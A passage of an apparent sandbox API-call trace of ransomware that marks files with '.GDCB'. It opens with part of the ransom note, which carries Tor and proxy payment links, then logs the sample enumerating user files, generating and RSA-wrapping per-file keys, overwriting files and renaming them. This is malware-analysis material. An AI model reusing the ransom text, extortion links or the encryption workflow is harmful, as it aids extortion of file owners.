other important files are encrypted and have the extension: .GDCB \r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files.\r\nThe server with your key is in a closed network TOR. You can get there by the following ways:\r\n1. Download Tor browser - https://www.torproject.org/\r\n2. Install Tor browser\r\n3. Open Tor Browser\r\n4. Open link in tor browser: http://gdcbghvjyqy7jclk.onion/dce1bb8bd2ca4def \r\n5. Follow the instructions on this page\r\n\r\n\r\nIf Tor/Tor browser is locked in your country or you can not install it, open one of the following links in your regular browser:\r\n1. http://gdcbghvjyqy7jclk.onion.top/dce1bb8bd2ca4def \r\n2. http://gdcbghvjyqy7jclk.onion.casa/dce1bb8bd2ca4def \r\n3. http://gdcbghvjyqy7jclk.onion.guide/dce1bb8bd2ca4def \r\n4. http://gdcbghvjyqy7jclk.onion.rip/dce1bb8bd2ca4def \r\n5. http://gdcbghvjyqy7jclk.onion.plus/dce1bb8bd2ca4def \r\n\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free.\r\n\r\nDANGEROUS!\r\nDo not try to modify files or use your own private key - this will result in the loss of your data forever!\r\n") returned 1387 [0053.065] WriteFile (in: hFile=0x4f0, lpBuffer=0x412010*, nNumberOfBytesToWrite=0xad6, lpNumberOfBytesWritten=0x285f284, lpOverlapped=0x0 | out: lpBuffer=0x412010*, lpNumberOfBytesWritten=0x285f284*=0xad6, lpOverlapped=0x0) returned 1 [0053.065] CloseHandle (hObject=0x4f0) returned 1 [0053.066] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.066] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\") returned 38 [0053.066] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\*" [0053.066] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\*", lpFindFileData=0x285f2a0 | out: lpFindFileData=0x285f2a0) returned 0x588aa0 [0053.066] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0053.066] FindNextFileW (in: hFindFile=0x588aa0, lpFindFileData=0x285f2a0 | out: lpFindFileData=0x285f2a0) returned 1 [0053.066] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0053.066] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0053.066] FindNextFileW (in: hFindFile=0x588aa0, lpFindFileData=0x285f2a0 | out: lpFindFileData=0x285f2a0) returned 1 [0053.066] lstrcmpW (lpString1="004-sn-0z5C.wav", lpString2=".") returned 1 [0053.066] lstrcmpW (lpString1="004-sn-0z5C.wav", lpString2="..") returned 1 [0053.066] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\", lpString2="004-sn-0z5C.wav" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\004-sn-0z5C.wav") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\004-sn-0z5C.wav" [0053.066] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0053.066] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\004-sn-0z5C.wav") returned 53 [0053.067] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\004-sn-0z5C.wav") returned 53 [0053.067] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\004-sn-0z5C.wav") returned 53 [0053.067] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\004-sn-0z5C.wav") returned 53 [0053.067] lstrcmpiW (lpString1="004-sn-0z5C.wav", lpString2="desktop.ini") returned -1 [0053.067] lstrcmpiW (lpString1="004-sn-0z5C.wav", lpString2="autorun.inf") returned -1 [0053.067] lstrcmpiW (lpString1="004-sn-0z5C.wav", lpString2="ntuser.dat") returned -1 [0053.067] lstrcmpiW (lpString1="004-sn-0z5C.wav", lpString2="iconcache.db") returned -1 [0053.067] lstrcmpiW (lpString1="004-sn-0z5C.wav", lpString2="bootsect.bak") returned -1 [0053.067] lstrcmpiW (lpString1="004-sn-0z5C.wav", lpString2="boot.ini") returned -1 [0053.067] lstrcmpiW (lpString1="004-sn-0z5C.wav", lpString2="ntuser.dat.log") returned -1 [0053.067] lstrcmpiW (lpString1="004-sn-0z5C.wav", lpString2="thumbs.db") returned -1 [0053.067] lstrcmpiW (lpString1="004-sn-0z5C.wav", lpString2="GDCB-DECRYPT.txt") returned -1 [0053.067] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\004-sn-0z5C.wav" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\004-sn-0z5c.wav")) returned 0x20 [0053.067] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\004-sn-0z5C.wav", dwFileAttributes=0x20) returned 1 [0053.067] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x2860000 [0053.067] lstrcpyW (in: lpString1=0x2860000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\004-sn-0z5C.wav" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\004-sn-0z5C.wav") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\004-sn-0z5C.wav" [0053.068] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\004-sn-0z5C.wav", lpString2=".GDCB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\004-sn-0z5C.wav.GDCB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\004-sn-0z5C.wav.GDCB" [0053.068] CryptAcquireContextW (in: phProv=0x285f09c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f09c*=0x58fc60) returned 1 [0053.068] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2870000 [0053.069] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x75d40000 [0053.069] GetProcAddress (hModule=0x75d40000, lpProcName="CryptGenRandom") returned 0x75d60df0 [0053.069] CryptGenRandom (in: hProv=0x58fc60, dwLen=0x10, pbBuffer=0x285f1ec | out: pbBuffer=0x285f1ec) returned 1 [0053.069] CryptReleaseContext (hProv=0x58fc60, dwFlags=0x0) returned 1 [0053.069] VirtualFree (lpAddress=0x2870000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.069] CryptAcquireContextW (in: phProv=0x285f09c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f09c*=0x58fc60) returned 1 [0053.069] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2870000 [0053.070] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x75d40000 [0053.070] GetProcAddress (hModule=0x75d40000, lpProcName="CryptGenRandom") returned 0x75d60df0 [0053.070] CryptGenRandom (in: hProv=0x58fc60, dwLen=0x20, pbBuffer=0x285f1b8 | out: pbBuffer=0x285f1b8) returned 1 [0053.070] CryptReleaseContext (hProv=0x58fc60, dwFlags=0x0) returned 1 [0053.070] VirtualFree (lpAddress=0x2870000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.070] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2870000 [0053.070] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2880000 [0053.071] CryptAcquireContextW (in: phProv=0x285f08c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f08c*=0x5901b0) returned 1 [0053.073] CryptImportKey (in: hProv=0x5901b0, pbData=0x9a0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f090 | out: phKey=0x285f090*=0x588e60) returned 1 [0053.073] CryptGetKeyParam (in: hKey=0x588e60, dwParam=0x8, pbData=0x285f07c, pdwDataLen=0x285f084, dwFlags=0x0 | out: pbData=0x285f07c*=0x800, pdwDataLen=0x285f084*=0x4) returned 1 [0053.073] CryptEncrypt (in: hKey=0x588e60, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285f204*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285f204*=0x100) returned 1 [0053.073] GetLastError () returned 0x0 [0053.073] CryptReleaseContext (hProv=0x5901b0, dwFlags=0x0) returned 1 [0053.073] CryptAcquireContextW (in: phProv=0x285f08c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f08c*=0x58fc60) returned 1 [0053.075] CryptImportKey (in: hProv=0x58fc60, pbData=0x9a0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f090 | out: phKey=0x285f090*=0x588ea0) returned 1 [0053.075] CryptGetKeyParam (in: hKey=0x588ea0, dwParam=0x8, pbData=0x285f07c, pdwDataLen=0x285f084, dwFlags=0x0 | out: pbData=0x285f07c*=0x800, pdwDataLen=0x285f084*=0x4) returned 1 [0053.075] CryptEncrypt (in: hKey=0x588ea0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285f208*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285f208*=0x100) returned 1 [0053.075] GetLastError () returned 0x0 [0053.075] CryptReleaseContext (hProv=0x58fc60, dwFlags=0x0) returned 1 [0053.075] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\004-sn-0z5C.wav" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\004-sn-0z5c.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4f4 [0053.076] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2890000 [0053.077] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x28a0000 [0053.077] ReadFile (in: hFile=0x4f4, lpBuffer=0x28a0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285f248, lpOverlapped=0x0 | out: lpBuffer=0x28a0000*, lpNumberOfBytesRead=0x285f248*=0xdade, lpOverlapped=0x0) returned 1 [0053.082] VirtualAlloc (lpAddress=0x0, dwSize=0xdae0, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0053.083] VirtualAlloc (lpAddress=0x0, dwSize=0xdae0, flAllocationType=0x3000, flProtect=0x4) returned 0x29c0000 [0053.084] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.084] SetFilePointer (in: hFile=0x4f4, lDistanceToMove=-56030, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0053.084] WriteFile (in: hFile=0x4f4, lpBuffer=0x29c0000*, nNumberOfBytesToWrite=0xdae0, lpNumberOfBytesWritten=0x285f240, lpOverlapped=0x0 | out: lpBuffer=0x29c0000*, lpNumberOfBytesWritten=0x285f240*=0xdae0, lpOverlapped=0x0) returned 1 [0053.084] VirtualFree (lpAddress=0x29c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.085] VirtualFree (lpAddress=0x28a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.089] WriteFile (in: hFile=0x4f4, lpBuffer=0x2870000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285f240, lpOverlapped=0x0 | out: lpBuffer=0x2870000*, lpNumberOfBytesWritten=0x285f240*=0x100, lpOverlapped=0x0) returned 1 [0053.090] WriteFile (in: hFile=0x4f4, lpBuffer=0x2880000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285f240, lpOverlapped=0x0 | out: lpBuffer=0x2880000*, lpNumberOfBytesWritten=0x285f240*=0x100, lpOverlapped=0x0) returned 1 [0053.090] WriteFile (in: hFile=0x4f4, lpBuffer=0x2890000*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x285f240, lpOverlapped=0x0 | out: lpBuffer=0x2890000*, lpNumberOfBytesWritten=0x285f240*=0x10, lpOverlapped=0x0) returned 1 [0053.090] CloseHandle (hObject=0x4f4) returned 1 [0053.091] VirtualFree (lpAddress=0x2890000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.091] VirtualFree (lpAddress=0x2870000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.091] VirtualFree (lpAddress=0x2880000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.091] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\004-sn-0z5C.wav" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\004-sn-0z5c.wav"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\004-sn-0z5C.wav.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\004-sn-0z5c.wav.gdcb")) returned 1 [0053.092] VirtualFree (lpAddress=0x2860000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.092] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.092] FindNextFileW (in: hFindFile=0x588aa0, lpFindFileData=0x285f2a0 | out: lpFindFileData=0x285f2a0) returned 1 [0053.092] lstrcmpW (lpString1="1WmQLmoja01-EP.gif", lpString2=".") returned 1 [0053.092] lstrcmpW (lpString1="1WmQLmoja01-EP.gif", lpString2="..") returned 1 [0053.092] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\", lpString2="1WmQLmoja01-EP.gif" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\1WmQLmoja01-EP.gif") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\1WmQLmoja01-EP.gif" [0053.092] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0053.093] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\1WmQLmoja01-EP.gif") returned 56 [0053.093] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\1WmQLmoja01-EP.gif") returned 56 [0053.093] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\1WmQLmoja01-EP.gif") returned 56 [0053.093] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\1WmQLmoja01-EP.gif") returned 56 [0053.093] lstrcmpiW (lpString1="1WmQLmoja01-EP.gif", lpString2="desktop.ini") returned -1 [0053.093] lstrcmpiW (lpString1="1WmQLmoja01-EP.gif", lpString2="autorun.inf") returned -1 [0053.093] lstrcmpiW (lpString1="1WmQLmoja01-EP.gif", lpString2="ntuser.dat") returned -1 [0053.093] lstrcmpiW (lpString1="1WmQLmoja01-EP.gif", lpString2="iconcache.db") returned -1 [0053.093] lstrcmpiW (lpString1="1WmQLmoja01-EP.gif", lpString2="bootsect.bak") returned -1 [0053.093] lstrcmpiW (lpString1="1WmQLmoja01-EP.gif", lpString2="boot.ini") returned -1 [0053.093] lstrcmpiW (lpString1="1WmQLmoja01-EP.gif", lpString2="ntuser.dat.log") returned -1 [0053.093] lstrcmpiW (lpString1="1WmQLmoja01-EP.gif", lpString2="thumbs.db") returned -1 [0053.093] lstrcmpiW (lpString1="1WmQLmoja01-EP.gif", lpString2="GDCB-DECRYPT.txt") returned -1 [0053.093] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\1WmQLmoja01-EP.gif" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\1wmqlmoja01-ep.gif")) returned 0x20 [0053.093] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\1WmQLmoja01-EP.gif", dwFileAttributes=0x20) returned 1 [0053.093] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x2860000 [0053.094] lstrcpyW (in: lpString1=0x2860000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\1WmQLmoja01-EP.gif" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\1WmQLmoja01-EP.gif") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\1WmQLmoja01-EP.gif" [0053.094] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\1WmQLmoja01-EP.gif", lpString2=".GDCB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\1WmQLmoja01-EP.gif.GDCB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\1WmQLmoja01-EP.gif.GDCB" [0053.094] CryptAcquireContextW (in: phProv=0x285f09c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f09c*=0x58fc60) returned 1 [0053.094] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2870000 [0053.095] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x75d40000 [0053.095] GetProcAddress (hModule=0x75d40000, lpProcName="CryptGenRandom") returned 0x75d60df0 [0053.095] CryptGenRandom (in: hProv=0x58fc60, dwLen=0x10, pbBuffer=0x285f1ec | out: pbBuffer=0x285f1ec) returned 1 [0053.095] CryptReleaseContext (hProv=0x58fc60, dwFlags=0x0) returned 1 [0053.095] VirtualFree (lpAddress=0x2870000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.095] CryptAcquireContextW (in: phProv=0x285f09c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f09c*=0x58fc60) returned 1 [0053.095] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2870000 [0053.096] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x75d40000 [0053.096] GetProcAddress (hModule=0x75d40000, lpProcName="CryptGenRandom") returned 0x75d60df0 [0053.096] CryptGenRandom (in: hProv=0x58fc60, dwLen=0x20, pbBuffer=0x285f1b8 | out: pbBuffer=0x285f1b8) returned 1 [0053.096] CryptReleaseContext (hProv=0x58fc60, dwFlags=0x0) returned 1 [0053.096] VirtualFree (lpAddress=0x2870000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.096] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2870000 [0053.097] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2880000 [0053.097] CryptAcquireContextW (in: phProv=0x285f08c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f08c*=0x58fc60) returned 1 [0053.099] CryptImportKey (in: hProv=0x58fc60, pbData=0x9a0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f090 | out: phKey=0x285f090*=0x588ee0) returned 1 [0053.099] CryptGetKeyParam (in: hKey=0x588ee0, dwParam=0x8, pbData=0x285f07c, pdwDataLen=0x285f084, dwFlags=0x0 | out: pbData=0x285f07c*=0x800, pdwDataLen=0x285f084*=0x4) returned 1 [0053.099] CryptEncrypt (in: hKey=0x588ee0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285f204*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285f204*=0x100) returned 1 [0053.099] GetLastError () returned 0x0 [0053.099] CryptReleaseContext (hProv=0x58fc60, dwFlags=0x0) returned 1 [0053.099] CryptAcquireContextW (in: phProv=0x285f08c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f08c*=0x58fc60) returned 1 [0053.101] CryptImportKey (in: hProv=0x58fc60, pbData=0x9a0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f090 | out: phKey=0x285f090*=0x588720) returned 1 [0053.101] CryptGetKeyParam (in: hKey=0x588720, dwParam=0x8, pbData=0x285f07c, pdwDataLen=0x285f084, dwFlags=0x0 | out: pbData=0x285f07c*=0x800, pdwDataLen=0x285f084*=0x4) returned 1 [0053.101] CryptEncrypt (in: hKey=0x588720, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285f208*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285f208*=0x100) returned 1 [0053.102] GetLastError () returned 0x0 [0053.102] CryptReleaseContext (hProv=0x58fc60, dwFlags=0x0) returned 1 [0053.102] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\1WmQLmoja01-EP.gif" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\1wmqlmoja01-ep.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4f4 [0053.102] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2890000 [0053.102] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x28a0000 [0053.103] ReadFile (in: hFile=0x4f4, lpBuffer=0x28a0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285f248, lpOverlapped=0x0 | out: lpBuffer=0x28a0000*, lpNumberOfBytesRead=0x285f248*=0xfea, lpOverlapped=0x0) returned 1 [0053.107] VirtualAlloc (lpAddress=0x0, dwSize=0xff0, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0053.107] VirtualAlloc (lpAddress=0x0, dwSize=0xff0, flAllocationType=0x3000, flProtect=0x4) returned 0x29c0000 [0053.108] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.108] SetFilePointer (in: hFile=0x4f4, lDistanceToMove=-4074, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0053.108] WriteFile (in: hFile=0x4f4, lpBuffer=0x29c0000*, nNumberOfBytesToWrite=0xff0, lpNumberOfBytesWritten=0x285f240, lpOverlapped=0x0 | out: lpBuffer=0x29c0000*, lpNumberOfBytesWritten=0x285f240*=0xff0, lpOverlapped=0x0) returned 1 [0053.108] VirtualFree (lpAddress=0x29c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.108] VirtualFree (lpAddress=0x28a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.111] WriteFile (in: hFile=0x4f4, lpBuffer=0x2870000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285f240, lpOverlapped=0x0 | out: lpBuffer=0x2870000*, lpNumberOfBytesWritten=0x285f240*=0x100, lpOverlapped=0x0) returned 1 [0053.111] WriteFile (in: hFile=0x4f4, lpBuffer=0x2880000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285f240, lpOverlapped=0x0 | out: lpBuffer=0x2880000*, lpNumberOfBytesWritten=0x285f240*=0x100, lpOverlapped=0x0) returned 1 [0053.112] WriteFile (in: hFile=0x4f4, lpBuffer=0x2890000*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x285f240, lpOverlapped=0x0 | out: lpBuffer=0x2890000*, lpNumberOfBytesWritten=0x285f240*=0x10, lpOverlapped=0x0) returned 1 [0053.112] CloseHandle (hObject=0x4f4) returned 1 [0053.112] VirtualFree (lpAddress=0x2890000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.112] VirtualFree (lpAddress=0x2870000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.112] VirtualFree (lpAddress=0x2880000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.113] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\1WmQLmoja01-EP.gif" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\1wmqlmoja01-ep.gif"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\1WmQLmoja01-EP.gif.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\1wmqlmoja01-ep.gif.gdcb")) returned 1 [0053.113] VirtualFree (lpAddress=0x2860000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.113] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.113] FindNextFileW (in: hFindFile=0x588aa0, lpFindFileData=0x285f2a0 | out: lpFindFileData=0x285f2a0) returned 1 [0053.114] lstrcmpW (lpString1="4SCtkxF.ots", lpString2=".") returned 1 [0053.114] lstrcmpW (lpString1="4SCtkxF.ots", lpString2="..") returned 1 [0053.114] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\", lpString2="4SCtkxF.ots" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\4SCtkxF.ots") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\4SCtkxF.ots" [0053.114] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0053.114] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\4SCtkxF.ots") returned 49 [0053.114] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\4SCtkxF.ots") returned 49 [0053.114] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\4SCtkxF.ots") returned 49 [0053.114] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\4SCtkxF.ots") returned 49 [0053.114] lstrcmpiW (lpString1="4SCtkxF.ots", lpString2="desktop.ini") returned -1 [0053.114] lstrcmpiW (lpString1="4SCtkxF.ots", lpString2="autorun.inf") returned -1 [0053.114] lstrcmpiW (lpString1="4SCtkxF.ots", lpString2="ntuser.dat") returned -1 [0053.114] lstrcmpiW (lpString1="4SCtkxF.ots", lpString2="iconcache.db") returned -1 [0053.114] lstrcmpiW (lpString1="4SCtkxF.ots", lpString2="bootsect.bak") returned -1 [0053.114] lstrcmpiW (lpString1="4SCtkxF.ots", lpString2="boot.ini") returned -1 [0053.114] lstrcmpiW (lpString1="4SCtkxF.ots", lpString2="ntuser.dat.log") returned -1 [0053.114] lstrcmpiW (lpString1="4SCtkxF.ots", lpString2="thumbs.db") returned -1 [0053.114] lstrcmpiW (lpString1="4SCtkxF.ots", lpString2="GDCB-DECRYPT.txt") returned -1 [0053.114] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\4SCtkxF.ots" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\4sctkxf.ots")) returned 0x20 [0053.114] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\4SCtkxF.ots", dwFileAttributes=0x20) returned 1 [0053.114] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x2860000 [0053.114] lstrcpyW (in: lpString1=0x2860000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\4SCtkxF.ots" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\4SCtkxF.ots") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\4SCtkxF.ots" [0053.114] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\4SCtkxF.ots", lpString2=".GDCB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\4SCtkxF.ots.GDCB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\4SCtkxF.ots.GDCB" [0053.114] CryptAcquireContextW (in: phProv=0x285f09c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f09c*=0x58fc60) returned 1 [0053.115] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2870000 [0053.115] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x75d40000 [0053.115] GetProcAddress 